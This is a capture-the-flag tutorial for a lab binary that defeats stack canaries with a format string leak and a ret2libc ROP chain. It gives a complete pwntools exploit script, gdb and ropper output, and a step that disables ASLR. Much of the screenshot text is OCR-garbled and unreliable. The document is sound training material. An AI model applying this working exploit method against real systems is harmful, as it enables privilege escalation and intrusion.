This is a challenge that I wrote for the The Petting Zoo CTF.

sudo docker pull ghcr.io/tanc7/tpz-punisher:latest

sudo docker run --rm -it --privileged -p 2222:22
ghcr.io/tanc7/tpz-punisher:latest /bin/bash

Admins: First make sure you turn ASLR off in your victim host. echo 0 > /proc/sys/kernel/randomize_va_space¹

Players: Login by ssh-ing into it, your user is ctf@<ip address>, your port is 2222, and your password is "player", *ssh ctf@<ip address> -p 2222*



Type **tmux** to open a tmux session and if you want bash completion type **bash**. Split into two panes **Ctrl+B** " if you want horizontal, or **Ctrl+B** % if you want vertical

¹ You can do a quick test by running the **Idd vulnapp** command multiple times. If the addresses of it's dependencies change at each execution, ASLR is still enabled. If it remains the same, ASLR is confirmed to be disabled.



Switch control of panes by pressing **CTRL+B (up arrow)** go up, and **(down arrow)** to go down so you can multitask. You will be using **nano** for your text editor. For example, **nano exploit.py**, and to save the file **CTRL+X** and hit **Y** to save it. Then you can run the script with **python3 exploit.py**



Foreword: Limitations of the GDB debugger and why we need pwntools

When you complete this exercise, gdb will spawn a child process that forks (the root shell that popped), by default because you have not entered a command, the child shell immediately exits and dies². Once we prove that we can actually spawn a malicious root level process, we will modify our code using pwntools (preinstalled on your Docker image) instead of using cumbersome gdb "catch" statements or awkward console commands.³

² <u>https://ftp.gnu.org/old-gnu/Manuals/gdb/html_node/gdb_25.html</u> "If you have set a breakpoint in any code which the child then executes, the child will get a SIGTRAP signal which (unless it catches the signal) will cause it to terminate. "

³ <u>https://ftp.gnu.org/old-gnu/Manuals/gdb/html_node/gdb_30.html#SEC31</u>

Exercise #4: Bypassing stack canaries (GCC "StackGuard") by using format-string specifier attacks and base address leaks with a ROP-chain, Canary Repairing Overwrite, and Relative Addresses

Foreword

In this exercise, we will be using offsets, or "Relative Virtual Addresses" from the C Standard Library of your Linux installation to exploit this binary. This binary is compiled with what is known as "stack canaries", also called "stack cookies".

Simple buffer overflows will not work because of GNU Compiler Collection's StackGuard⁴ Feature, which checks the value of a randomly generated canary, usually ending in a null byte, and exits the application with a "Stack Smashing Detected" error.

In the challenge, we have a demo compiled app called "leakvuln", which if you run it multiple times, intentionally leaks the stack canary.



Your challenge binary is called "formatstringspecvuln", and we will use a method called a format string bug⁵ to leak the canary, repair the canary before it gets evaluated by StackGuard, overwrite the instruction pointer, and use our control of the instruction pointer to execute a ROP-chain utilizing only offsets from the C Standard Library.

⁴ <u>https://www.redhat.com/en/blog/security-technologies-stack-smashing-protection-stackguard</u> for documentation

⁵ <u>https://owasp.org/www-community/attacks/Format_string_attack</u>

As always turn off ASLR echo 0 > /proc/sys/kernel/randomize_va_space

First let's run the binary and notice that there is an exploitable bug that leaks the stack canary and notice how the value changes. ./formatstringspecvuln %33\\$IIx



Let's locate the base address to the libc library, open the app in GNU Debugger, **gdb** formatstringspecvuln -q and then press r and **Ctrl+C** to stop it.

formatstringspecvuln leakvuln.c redo.py	[6/1727]
formatstringspecvuln.c payload vuln	
root@darkinternetmotherfuckers:/home/ctlister/Documents/linuxshellcoding/vuln3-stackcanaries# gdb formatstringspecvuln -q	
Reading symbols from formatstringspecvuln	
(No debugging symbols found in formatstringspecyuln)	
adh-neda\$ r	
Starting program: /home/ctlister/Documents/linuxshellcoding/vuln3-stackcanaries/formatstringspecvuln	
The second size of the second size of the second seco	
Program received signal sign	
RCA: 0X/11/1/201102 (<_L1_LLCC_Tead+18>: Cmp Fax, 0X/11/11/11/1000)	
NOT: 010	
KOP: OXTITATE 238> O	
KIP: OX/III//ebaild2 (<_uittdc_read+18>: Cmp Fax,oxiffffffffffddd)	
KIG: 0///11/13069> 0/2222222233990> 0/0	
KLS: OX/III//J90008> OXO	
EFERUS: 0X240 (Carry PARIT adjust ZERO sign tab Internovi direction over tow)	
0x7fff72bfd0UUUC_Pedu+44; jile 0x7ff17/eba1e0 <_uLUUC_Pedu+52>	
0x7/TTT/PDaT00 <_UiLUC_Feadutabs: Systatt	
= 2 or 1 for	
0x7fff7cbsfdb <_uiuic_fedd+zo>: fei 0x7fff7cbsfdbuiuic_fedd+zo>: fei	
0x/111/ebale0 <01CDCeau+32>: Sub Tsp,0x28	
00201 0x7fffffff02h0 -> 0x7ffffff0ac0 -> 0x6hd2304	
00401 0/11/11/12/0> 0/11/11/12/040> 0/11/11/20/040>	
"dackinternetmetherfur" 80:48	13-Jul-22
Cal Katter Heavorier Tac. 03.40	20 00 C 22

Locate the starting address (base address) of your standard C Library by typing **vmmap**. Note that because I tested and ran this exploit on Ubuntu 20.04 LTS instead of Kali Linux, these addresses may be different and that means more motivation for YOU to figure out the exploit YOURSELF instead of copy/pasting my exploit code.

[code]	
0x7ffff7ebafcc <gilibc_read+12>:</gilibc_read+12>		
0x7ffff7ebafce <gilibc_read+14>:</gilibc_read+14>		
<pre>0x7ffff7ebafd0 <gilibc_read+16>:</gilibc_read+16></pre>		
<pre>=> 0x7ffff7ebafd2 <gilibc_read+18>:</gilibc_read+18></pre>	<pre>cmp rax,0xfffffffffff000</pre>	
<pre>0x7ffff7ebafd8 <gilibc_read+24>:</gilibc_read+24></pre>	ja 0x7ffff7ebb030 <gilibc_read+112></gilibc_read+112>	
0x7ffff7ebafda <gilibc_read+26>:</gilibc_read+26>		
<pre>0x7ffff7ebafdb <gilibc_read+27>:</gilibc_read+27></pre>	nop DWORD PTR [rax+rax*1+0x0]	
<pre>0x7ffff7ebafe0 <gilibc_read+32>:</gilibc_read+32></pre>	sub rsp,0x28	
[stack		
0000 0x7ffffffffe298> 0x7ffff7e3db9f (<	_IO_new_file_underflow+383>: test rax,rax)	
0008 0x7ffffffffe2a0> 0xd68 ('h\r')		
0016 0x7ffffffffe2a8> 0x7ffff7f964a0	> 0x0	
0024 0x7fffffffe2b0> 0x7ffff7f9a6a0	> 0xfbad2a84	
0032 0x7ffffffffe2b8> 0x7ffff7f99980	> 0xfbad2288	
0040 0x7fffffffe2c0> 0x7ffff7f964a0	> 0x0	
0048 0x7ffffffffe2c8> 0x7ffff7f9a790	> 0x7ffff7f99980> 0xfbad2288	
0056 0x7fffffffe2d0> 0x7ffff7fa0540 (0	x00007ffff7fa0540)	
26 /sysdeps/unix/sysv/linux/read.cs Biardia VMmap Start End Start Perr School Nc00055555554000 Nc0000555555555000 Nc00055555555000 Nc000055555555000 Nc000055555555000 Nc000055555555000 Nc000055555555000 Nc000055555555000 Nc000055555555000 Nc000055555555000 Nc00007fff774d000 Nc00007fff774d000 Nc00007fff774000 Nc00007fff7755000 Nc00007fff7741000 Nc00007fff7755000 Nc0007fff7750000 Nc00007fff7750000 Nc0007fff7750000 Nc00007fff7750000 Nc0007fff7750000 Nc00007fff7750000 Nc0007fff7750000 Nc00007fff7750000 Nc0007fff7750000 Nc00007fff7750000 Nc0007fff7750000	<pre>No such file or directory. Name /home/ctlister/Documents/linuxshellcoding/vuln3-stackcanaries/formatstringspecvuln /home/ctlister/Documents/linuxshellcoding/vuln3-stackcanaries/formatstringspecvuln /home/ctlister/Documents/linuxshellcoding/vuln3-stackcanaries/formatstringspecvuln /home/ctlister/Documents/linuxshellcoding/vuln3-stackcanaries/formatstringspecvuln /home/ctlister/Documents/linuxshellcoding/vuln3-stackcanaries/formatstringspecvuln /home/ctlister/Documents/linuxshellcoding/vuln3-stackcanaries/formatstringspecvuln /home/ctlister/Documents/linuxshellcoding/vuln3-stackcanaries/formatstringspecvuln /home/ctlister/Documents/linuxshellcoding/vuln3-stackcanaries/formatstringspecvuln /home/ctlister/Documents/linux-gnu/lbc-2.31.so /usr/lb/x86_64-linux-gnu/lbc-2.31.so /usr/lb/x86_64-linux-gnu/lbc-2.31.so /usr/lb/x86_64-linux-gnu/ld-2.31.so /usr/lb/x86_64-linux-gnu/ld-2.31.so</pre>	
0x00007ffff7ffc000 0x00007ffff7ffd000 rp	/usr/lib/x86_64-linux-gnu/ld-2.31.so	
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p	/usr/lib/x86_64-linux-gnu/ld-2.31.so	
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p	mapped	
0x00007ffffffde000 0x00007fffffffff000 rw-p	[stack]	
0xfffffffff601000 0xfffffffffff601000xp gdb-peda\$	[vsyscall]	
[workspace0:papo1:odb*7		"darkinternetmotherfuc" 09:49 13-Jul-22

We are foregoing manual packing of memory addresses to speed up your learning process by using the pwntools library. First, let's add your script. And add your base address to the script.

#!/usr/bin/env python3

```
from pwn import *
from struct import pack
exe = context.binary = ELF('./formatstringspecvuln')
libc_base_address = 0x00007ffff7dad000
```

Now run ropper, **ropper**

(Hbc-2.31.so/ELF/x86.64)> search /1/ /bin/sh [NFO] Searching for gadgets: /bin/sh
<pre>(Hbc-2.31.so/ELF/x86.64)> search /1/ "/bin/sh" [NFO] Searching for gadgets: "/bin/sh"</pre>
(Hbc-2.31.so/ELF/x86.64)> search /1/ "sh" [NFO] Searching for gadgets: "sh"
(Hbc-2.31.so/ELF/x86.64)> search /1/ sh [NFO] Searching for gadgets: sh
<pre>[IHF0] File: /usr/ltb/x86_64-linux-gnu/ltbc-2.31.so brocketeedeedeedeeline: Shi byte ptr [rst + caxf] coxf; ret 0x4948; brocketeedeedeeline: Shi byte ptr [rst + caxf], 0x6; ret 0x466; brocketeedeedeeline: Shi byte ptr [rst + caxf], 0x7; ret 0x4775; brocketeedeedeeline: Shi byte ptr [rst + caxf], 0x7; ret 0x4766; brocketeedeedeeline: Shi byte ptr [rst + caxf], 0x6; ret; brocketeedeedeeline: Shi byte ptr [rst + caxf], 0x6; ret 0x466; brocketeedeeline: Shi byte ptr [rst + caxf], 0x6; ret; brocketeedeeline: Shi byte ptr [rst + caxf], 0x6; ret; brocketeeleeline: Shi byte ptr [rst + caxf], 0x6; ret; brocketeeleeline: Shi byte ptr [rst + caxf], 0x6; ret; brocketeeleeline: Shi byte ptr [rst + caxf], 0x6; ret; brocketeeleeline: Shi byte ptr [rst, 0x6; ret; brocketeeleeline: Shi rat; brocketeeleeline: Shi rat; brocketeeline: Shi rat; b</pre>
(Hbc-2.31.so/ELF/x86.64)> search /1/ system [INFO] Searching for gadgets: system
<pre>(lbc-2.3].wo/ELF/#86.64): quit tlistergdarkinternetmotherfuckers:-/Documents/linuxshellcoding/vuln3-stackcanaries\$ ropper (mane): file /usr/lib/x86.64-linux-gnu/libc-2.31.so (lAVD) loading 180%</pre>

Locate your C standard library for your environment that was shown in gdb, run **file absolutepath** for me it's /usr/lib/x86_64-linux-gnu/libc-2.31.so

(libc-2.31.so/ELF/x80_64)> search /1/ /bin/sh [INF0] Searching for gadgets: /bin/sh	
(106-2.31.so/ELF/A86_64)> search /1/ "/bin/sh" [INFO] Searching for gadgets: "/bin/sh"	
(libc-2.3).so/ELF/x86_64)> search /1/ "sh" [INFO] Searching for gadgets: "sh"	
(libc-2.31.so/ELF/x86_64)> search /1/ sh [INFO] Searching for gadgets: sh	
<pre>[INF0] File: /usr/ltb/x86_64-linux-gnu/ltbc-2.31.so cedeedeedeedeedeedeedeedeedeedeedeedeede</pre>	
(116-2.3).cv/(11/490_61)> search /1/ system [INFO] Searching for gadgets: system	
Cliber 2.31.cv/II//200.cd/> quit ctlister@darkinternetmotherfuckers:-/Documents/Linuxshellcoding/vuln3-stackcanaries\$ ropper Conder()> Conder()> File /usr/Litb/x86_64-Linux-gnu/Libc-2.31.so [INN0] Load gadgets from cache [L000] reworking double gadgets 100% [INN0] File loaded. [INN0] File loaded.	
(workspace0:nano- 1:python3=Z	"darkinternetmotherfuc" 09:50 13-Jul-22

Let's look for your first ROP gadget, a return instruction, in ropper run **search /1/ ret**. Technically any of these offsets (distance from the base pointer will do), but I simply picked the last one. Copy and paste it into your exploit script.

0x00000000240D: Fet 2;	
0x000000002b562: ret 3;	
0x00000000096cf9: ret 4	
0x000000000531da: ret 5:	
0x00000000007139: ret 7;	
0x00000000007a735: ret 8;	
0x0000000011ecif: ret 9;	
0x00000000015b664: retf 0x148; ret 0x2949;	
0x00000000001234: retf 0x14c: ret 0x93e9:	
0x0000000005544 : retf 0x14d ret 0x5be9:	
AX0000000000000057fc: retf 0x14d; ret 0x6be9:	
voldenbegeneite i tet ovidet og verser o	
0x000000000000000052641: retr 0x3948; ret 0x3600;	
0x00000000110762: retf 0x3948; ret 0x140;	
0x00000000007550: retf 0x394c; ret 0x9472;	
0x000000001950b4: retf 0x8348; ret 0x4804;	
0x000000000195594: retf 0x8348; ret 0x4808;	
0x00000000095e52: retf 0x8348; ret 0x4810;	
0x00000000017e225: retf 0x8349; ret 0x7f10;	
0x0000000001802f7: retf 0x8349: ret 0xf10:	
0x0900000014a992: retf 0x8349: ret:	
avapagagagagafdal retf ax858f call award atr [rsi]	
0x0000000000194892: retr 0x9201; ret 0x9340;	
0x00000000002330: retf 0x948; ret 0x8948;	
0x000000000000000000000000000000000000	
0x00000000014405f: retf 0xa; syscall;	
0x00000000ddf22: retf 0xb948: ret;	
0x000000001983a2: retf 0xf805: jmp gword ptr [rsi + 0x2e]:	
Avagagagagagagagagaga	
waaeenaal 70.3.4. cotf extfel, im guord atc [isc + exact, a	
woodoodoodood yet in the owner of the first + Owner,	
And a second sec	
action of the second seco	
0x000000000000000130042: retr 0x1TP3; jmp dword ptr [rst + 0x2e];	
0x00000000000003332: retr 0xTTTD; jmp qword ptr [rst + 0x2e];	
0x0000000013a897: retF 0xfffc; jmp qword ptr [rsi + 0x2e];	
0x000000000000000000000000000000000000	
0x000000000000000000000000000000000000	
0x000000000000000000000 retf 0xfffe; jmp qword ptr [rsi + 0x2e];	
0x00000000033683: retf 0xfffe; jmp qword ptr [rsi + 0xf];	
5x000000000000000000000000000000000000	
(libc-2.31.so/ELF/x86_64)>	
workspace0:pape- 1:pythop3*7	"darkinternetmotherfuc" 09:50 13-Jul-22

It should look something like this...

```
#!/usr/bin/env python3
from pwn import *
from struct import pack
exe = context.binary = ELF('./formatstringspecvuln')
libc_base_address = 0x00007ffff7dad000
ret = libc_base_address + 0x00000000000067d
```

Now let's look for your second ROP gadget, a POP RDI; RET; instruction, which would push the /bin/sh first argument according to Linux amd64 calling conventions. **search /1/ pop rdi**

0x000000000015b664: retf 0x148; ret 0x2949;	
0x0000000001234: retf 0x14c; ret 0x93e9;	
0x000000000000a044c: retf 0x14d; ret 0x5be9;	
0x0000000000000a57fc: retf 0x14d; ret 0x6be9;	
0x0000000000000003d38: retf 0x14d; ret 0xefe9;	
0x0000000001898aa: retf 0x3944; ret 0x820f;	
0x00000000012eacc: retf 0x3948; ret 0x576;	
0x0000000000048d71: retf 0x3948; ret 0x820f;	
0x00000000052641: retf 0x3948; ret 0x860f;	
0x00000000014b762: retf 0x3948; ret 0xf40;	
0x0000000000575bd: retf 0x394c; ret 0x9d72;	
0x0000000001950b4: retf 0x8348; ret 0x4804;	
0x00000000195594: retf 0x8348; ret 0x4808;	
0x00000000005552: retf 0x8348; ret 0x4810;	
8x000000001/e225: retf 0x8349; ret 0x7f10;	
0x00H00H00H00H00277: retf 0x8349; ret 0xf10;	
0x00000000148992: ret; 0x8349; ret;	
0x000000000000000000000000000000000000	
0x0000000000005155: rett 0x8948; ret;	
0x0000000100118//f: retf 0x894d; ret 0x894d;	
axdouddouddouddiydayays: rett 0x39201; ret 0x3924d;	
axdooddooddaaraaca; rett axtaas; jnp qword ptr [ist + ax2e];	
weenenenentizetz: rete ovining jup quord pri [ist + v.ze]	
weenenenenenenenenen in andere and	
waaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa	
w/doubleddialiasy: reff axffc; im aword ptr [rsi + 0x2e]	
avagagagagagagagaga	
woodened wood with a start of the start of t	
0x000000000000000000000000000000000000	
0x00000000033b83: retf 0xfffe: inp gword ptr [rsi + 0xf]:	
0x0000000000000c0674 ret:	
(Ubc-2.31.so/ELF/x86_64)> search /1/ pop rdi	
[INFO] Searching for gadgets: pop rdi	
[INFO] File: /usr/lib/x86_64-linux-gnu/libc-2.31.so	
0x00000000011F130: pop rdi; call rax;	
ax68080808080346fd: pop rdi; jmp rax;	
axCOSCOSCOSCOSCOSCOSCOSCOSCOSCOSCOSCOSCOSC	
(1tbc-2.31.so/ELF/x86_64)>	

Copy and paste the offset into your exploitation script, it should look something like this...



Pull out your programming calculator. Open the calculator app in Linux and change the dropdown to **hexidecimal**.

Activities	🖪 Calculator 🔻		Jul 13	10:52 •	6	🏶 🛤 🏶 B 🌻 🤋 🕸 🎚	•
			Basic M	1ode ¥			8
			Basic Mode Advanced M Financial M Programmi Kryboard M	lade			
157							
160							
:	7	8	9	÷		C	
163	4	5	6	×	()	
ctliste	1	2	3	-	x ²	1	
ctuete	0		%	+			

I had a bit of trouble getting ropper to spit out the correct offsets to call /bin/sh, so we go back to our gdb session. Type the command **find** "/**bin/sh**" and copy and paste the absolute address.

The formula for calculating an offset in a non-ASLR enabled binary is this, **Absolute Address** of **Desired Instruction - Return Base Address**. The stack grows downward, with lower memory addresses on the top of the stack, and higher memory addresses at the bottom of the stack. As more instructions are added to the top of the stack, each instruction is incremented downward.

00001 0x7fffffffe298> 0x7ffff7e3db9f (< TO	new file underflow+383>: test rax.rax)	0x000000	900015h6	64: ret	ox148	: ret (x2949				
$00081 0 \times 7 fffffffe2a0> 0 \times 168 ('h\r')$				34 ret	f 0x14c	ret (x93e9				
00161 0x7fffffffe2a8> 0x7ffff7f964a0> 0			4r ret	f 0x14	ret (x5he9					
0024 0x7fffffffe2b0> 0x7ffff7f9a6a0> 0			fc: ret	f 0x14c	ret (x6he9:					
00321 0x7fffffffe2b8> 0x7ffff7f99980> 0	xfbad2288			38 cet	f 0x14c	ret (xefe9:				
00401 0x7fffffffe2c0> 0x7ffff7f964a0> 0	xA			aa ret	F 0x394	4 ret	0x820f				
00481 0x7fffffffe2c8> 0x7ffff7f9a790> 0	x7ffff7f99980> 0xfbad2288			ret ret	F 0x394	R: ret	0x576:				
0056 0x7fffffffe2d0> 0x7ffff7fa0540 (0x00	007ffff7fa0540)			71 · rei	ox394	R ret	0x820f				
				41 - 64	F 0x304	8 ret	AV86AF				
Legend: code data rodata value				62 ref	F 0x30/	8 ret	0x6001,				
Stopped reason: STGINT				bd ret	FF @v30/	c ret	0v0d72				
AvAAAA7ffff7ebafd2 in GI libc cead (fd=0x	A huf=Ax555555555666A abytes=Ax4AA) at /sysdeps			ihd ret	F 0x834	8 ret	0x4804				
/unix/sysy/linux/sead_c:26	o, bur-oxissississississioo, noyees-oxidoy de/sysdeps			04 - cet	F 0x834	8 ret	0x4808				
26 /systems/unix/sysy/linux/read_c: No	such file or directory			52	-F 0x03-	8 ret	0x4000				
adh-neda\$ vmman	such receiving.			25 64	ox834	9 ret	0x7f10				
Start End Dorm				ET col		0. cot	0x7110;				
	/home/ctlistor/Decuments/linuxshellcoding/wulo2					0 ret	0X110;				
-stackcapacies/formatstripgspecyula	/none/cerester/bocuments/renuxsnet/coullig/vullis			of ret		if call	aword	otr Lee	41.		
	/home/ctlister/Decuments/linuxshelleedies/wule2			CG ret			- qword	per [rs	(L])		
-stackcapacies/formatetripscocyulp	/nome/ccccscer/bocuments/ccnuxshettcodchg/vdch3			De rei		d ret	020044				
	/home/stlistes/Decuments/linuxshellseding/wule?				-						
stacksapasies (formatetsipespeciul)	/nome/ccccscer/bocuments/ccnuxsnecccodchg/vdch3				۴	rogrammi	ng Mode	`			U 🙆
	/hene/stlistes/Desuments/lisuushallsedies/uule2										
	/nome/crrister/bocuments/rinuxsnerrcoding/variis	0x7ffff	7df3a40-	-0x0000)7ffff7da	000b		=			46A40
	(hans (st) i star (hansata () i suusta)) as di sa (su) an										
0X0000555555558000 0X000055555559000 Fw-p	/nome/ctitster/bocuments/tinuxsneticoding/vuins	0x0000	7ffff7da	d000-0	x7ffff7f6	515bd		=		-1	B45BD
- Stackcanaries/rormatstringspecvuln	5 h a 3	0x7FFFF	7f615bd-	-02000	7FFFF7d	0006		-		1	B45BD
0X0000555555559000 0X000055555570000 FW-p	[neap]	UX/IIII	101500	0,0000	////////	10000					04300
	/USF/LLD/X86_64-LLNUX-gnu/LLDC-2.31.SO	1B45B	D								
0x0000/TTTTT/GCT000 0x0000/TTTTT/T4/000 F-xp	/USF/LLD/X86_64-LLNUX-gnu/LLDC-2.31.50										
0X0000/TTTT/T4/000 0X0000/TTTTT/T95000 Fp	/USF/LLD/X86_64-LLNUX-gnu/LLDC-2.31.50	-									
0x0000/TTTT/T95000 0x0000/TTTT/T99000 rp	/usr/lib/x86_64-linux-gnu/libc-2.31.so	Hexadec	imal 🕶							5642675:	= 178732510
0X0000/TTTT7799000 0X00007ffff7f9b000 rw-p	/USF/llb/x86_64-llnux-gnu/libc-2.31.so										
0x0000/TTTT/T90000 0x0000/TTTT/Ta1000 rw-p	mappeo		000	0 0 0 0	0 0 0 0 0	0000	0000	0 0 0 0 0	000 00	0 0	
0X0000/TTTT/fc9000 0X0000/ffff/fcd000 rp	[vvar]		63				47			32	
0X0000/TTTT/fcd000 0X0000/TTTT/fcf000 r-xp			000	0 0 0 0	0 0001	1011	0100	0101 1	011 11	01	
0X0000/TTTT/TCT000 0X00007ffff7fd0000 rp	/usr/lib/x86_64-linux-gnu/ld-2.31.so		31				15			0	
0x0000/ffff/fd0000 0x0000/ffff/ff3000 r-xp	/usr/lib/x86_64-linux-gnu/ld-2.31.so	10	to		××	(1	~~ V	>> v	á	
0x0000/ffff/ff3000 0x0000/ffff/ffb000 rp	/usr/lib/x86_64-linux-gnu/ld-2.31.so					`		يفتعار	ينت		
0x00007ffff7ffd000 rp	/usr/lib/x86_64-linux-gnu/ld-2.31.so	с	D	E	F	÷	mod	ones	twos	x	
0x0000/ffff7ffd000 0x00007ffff7ffe000 rw-p	/usr/lib/x86_64-linux-gnu/ld-2.31.so										
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p	mapped	8	9	Α	В	×	AND	NOT	√	xy	x ⁻¹
0x00007ffffffde000 0x00007ffffffff000 rw-p	[stack]						0.0			1	
0xffffffffff600000 0xffffffffff601000xp	[vsyscall]	4	5	6	1		OR	C	log	logz	INC
gdb-peda\$ find /bin/sh		0	1	2	3		XOP	-	fact	м	frac
Searching for '/bin/sh' in: None ranges							AGR			X:	
Found 1 results, display max 1 items:		0,0000000	00000200	ica: pop	p rat; r	et;					
libc : 0x7ffff7f615bd> 0x68732f6e69622f ('	/bin/sh')										
gdb-peda\$		(libc-2.3	31.so/EL	.F/x86_(54)>						
[workspace0:nano1:ndb*										rkinter	

So take the saved base address of the C Library that was leaked in the debugger, and subtract the absolute address of the /bin/sh instruction from the leaked base address. For me, it is 1B45BD. Now update your script and make sure to append a 0x to the script. It should look like this.⁶

```
#!/usr/bin/env python3
from pwn import *
from struct import pack
exe = context.binary = ELF('./formatstringspecvuln')
libc_base_address = 0x00007ffff7dad000
ret = libc_base_address + 0x0000000000067d
pop_rdi = libc_base_address + 0x000000000023b6a
bin_sh = libc_base_address + 0x1B45BD
```

⁶ After some googling, I have found a alternative to calculating the offset in gdb which apparently is not well documented. You can run **p/x (0x7ffff7f615bd-0x00007ffff7dad000)**, with the first value being the location of the /bin/sh instruction, and the last value being the base address of the C Library, and it returns **0x1b45bd**

ctlister@darkinternetmotherfuckers:~/Documents/linuxshellcoding\$ cd vuln3-stackcanaries/	GNU nano 4.8	redo.py	Modified				
ctlister@darkinternetmotherfuckers:~/Documents/linuxshellcoding/vuln3-stackcanaries\$ ls							
ession-formatstringspecvuln.txt vuln vuln.c	rom pwn import *						
ctlister@darkinternetmotherfuckers:~/Documents/linuxshellcoding/vuln3-stackcanaries\$ cat exploi	rom struct import pack						
t.py > redo.py	ve - context biogen - 515/1 /6						
t.pv	xe = context.bthary = ELF(./Torma	icstrugspecvuth)					
#!/usr/bin/env python3	ibc_base_address = 0x00007ffff7dac	1000					
6 +	et = libc_base_address + 0x0000000	00000c067d					
from struct import pack	in sh = libc base address + 0x000	5BD					
exe = context.binary = ELF('./formatstringspecvuln')	<pre>rint("[+] Spawning process")</pre>						
# libc base address = 0x7ffff7dc5000	<pre>o = process([exe.path , "%33\$llx"]</pre>	1)					
libc_base_address = 0x00007ffff7dad000	anary = int(io.readline().strip(),	.16)					
ret = libc base address+0x000000000000067d	rint("[+] Canary leaked:{}".format	(hex(canary)))					
pop_rdi = libc_base_address + 0x00000000000023b6a	Tane([1] canary ceaked [] Tornat						
bin_sh = libc_base_address + 0x1B45BD	uf = b'A' * 200						
_system = libc_base_address + 0x52290	uf = pf4(coport)						
_extt = ttbc_base_address + 0x40x40	uf += b' (caller y)						
print("[+] Spawning process")	uf += p64(ret)						
1	uf += p64(pop_rdi)						
to = process([exe.path , "%33\$LLX"]) canary = int(in readline() strip() 16)	uf += p64(Din_Sn) uf += p64(system)						
	uf $+= p64(_exit)$						
print("[+] Canary leaked:{}".format(hex(canary)))							
huf - h'A' * 200	with open('payload','wb') as payload:						
	paytoad.witte(bui)						
buf += p64(canary)	o.sendline(buf)						
buf += b' (x42' * 8)	a interactive()						
buf += p64(pop rdi)							
buf += p64(bin_sh)							
buf += p64(_system)							
bul += po4(_ext()							
with open('payload','wb') as payload: payload.write(buf)							
io.sendline(buf)							
io.interactive()	G Get Help <mark>^0</mark> Write Out <mark>^W</mark> Wh	nere Is 🕂 Cut Text 🐴 🛛	lustify <mark>^C</mark> Cur Pos				
ctlister@darkinternetmotherfuckers:~/Documents/linuxshellcoding/vuln3-stackcanaries\$	X Exit <u>^R</u> Read File <u>^\</u> Re	eplace <u>^U</u> Paste Text <u>^T</u> T	o Spell <u>^</u> Go To Line				

Go back to gdb and run **p system** to find the absolute address of the syscall

0010 0X/1111116598> 0X/1111/120490> 0	KO			104: r <u>et</u>	UX148	, ret i	082949;				
0024 0x7fffffffe2b0> 0x7ffff7f9a6a0> 0			34: ret	f 0x14c	; ret (0x93e9;					
0032 0x7fffffffe2b8> 0x7ffff7f99980> 0			4c: ret	f 0x14d	ret (0x5be9;					
0040 0x7fffffffe2c0> 0x7ffff7f964a0> 0			fc: ret	f 0x14d	ret (0x6be9					
0048 0x7fffffffe2c8> 0x7ffff7f9a790> 0	x7ffff7f99980> 0xfbad2288			38: ret	f 0x14d	ret (0xefe9				
00561 0x7fffffffe2d0> 0x7ffff7fa0540 (0x00	007ffff7fa0540)			aa: ret	f 0x394	4: ret	0x820f				
[rc: ret	f 0x394	8: ret	0x576:				
Legend: code, data, codata, value				71: ret	f 0x394	8: ret	0x820f				
Stopped reason: STOTHT				41 501		0, ret	AV96AF				
avagag7ffff7abafd2 in CT libe cood (fd=0v	a huf-avererererered a abytoc-av(00) at (rusdaar					0, ret	0x8001,				
Juniv/svsv/linuv/soad_si26	0, bui -0x3333333000, hbytes-0x400) at /sysdeps			bd. ret		io, ret	0x140,				
/unit//sysv/ttilu/reau.c.20	such file es disectory			bd set	- 0x394	C; Tet	0x90723				
26/sysdeps/unix/sysv/linux/read.c: No bulk such a su	such file of directory.			104: ret	000004	8; ret	0X4804				
goo-peoas vmmap				94: ret	0X834	8; ret	0X4808				
Start End Perm	Name			SZ: ret	0x834	8; ret	0X4810				
0x00005555555554000 0x0000555555555000 rp	/home/ctlister/Documents/linuxshellcoding/vuln3			Z5: ret	0x834	9; ret	0x7f10;				
-stackcanaries/formatstringspecvuln				r7: ret	0x834	9; ret	0xf10;				
0x00005555555555000 0x0000555555556000 r-xp	/home/ctlister/Documents/linuxshellcoding/vuln3			92: ret	0x834	9; ret					
 stackcanaries/formatstringspecvuln 				OF: ret	f 0x850	if; cal	l qword	ptr [rs	i];		
0x0000555555556000 0x0000555555557000 гр	/home/ctlister/Documents/linuxshellcoding/vuln3			56: ret	ox894	8; ret					
-stackcanaries/formatstringspecvuln					-F 0~20/		0×8044				
0x0000555555557000 0x000055555558000 rp	/home/ctlister/Documents/linuxshellcoding/vuln3				P	rogramm	ing Mode				o 😣
-stackcanaries/formatstringspecvuln						-	-				
0x0000555555558000 0x0000555555559000 rw-p	/home/ctlister/Documents/linuxshellcoding/vuln3										
-stackcanaries/formatstringspecvuln		0x0000	7ffff7da	d000-0)	x7ffff7f6	515bd		=		-1	B45BD
0x00005555555559000 0x000055555557a000 rw-p	[heap]	0x7FFFF	76615bd	-0×0000	7FFFF7d	0006		_			BASBD
0x00007ffff7dad000 0x00007ffff7dcf000 cD	/usr/lib/x86_64-linux-anu/libc-2_31_so	0,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,	101500	-0x0000	///////////////////////////////////////	0000		-			04500
AVAAAA7ffff7dcfaaa Avaaa7ffff7f47aaa c-vo	/usr/lib/x86_64-lipux-gou/libc-2_31_so	0x7ffff	7dff290-	-0x0000	7ffff7da	d000		=			52290
	/usr/lib/x86_64-lipux-gpu/libc-2_31_so	-									
0x00007ffff7f05000 0x00007ffff7f00000 c	/usr/lib/v86_64_lipux_gpu/libc_2_31_co	52290									
	/usr/lib/x86_64_lipux_spu/libs_2_21_se										
0x00000/TTTT/T990000 0x00000/TTTTT/T900000 FW-p	/USF/11D/X86_64-11NUX-gnu/11DC-2.31.SO										
0X0000/TTTTT/T9D000 0X0000/TTTTT/Tal000 rw-p	mapped	Hexadeo	imal 🔻							1221220	= 33652810
0x0000/fffff/fc9000 0x0000/fffff/fcd000 rp	[vvar]										
0X0000/TTTT/fcd000 0X0000/TTTT/fcf000 r-xp	[vaso]		0 0 0	0 0 0 0 0	0 0 0 0 0	0000	0000	0000 0	000 00	0 0	
0x00007ffff7fd0000 0x00007ffff7fd0000 гр	/usr/lib/x86_64-linux-gnu/ld-2.31.so		63				47			32	
0x00007ffff7fd0000 0x00007ffff7ff3000 г-хр	/usr/lib/x86_64-linux-gnu/ld-2.31.so		000	0 0 0 0	0 0000	0101	0010	0010 1	001 00	0 0	
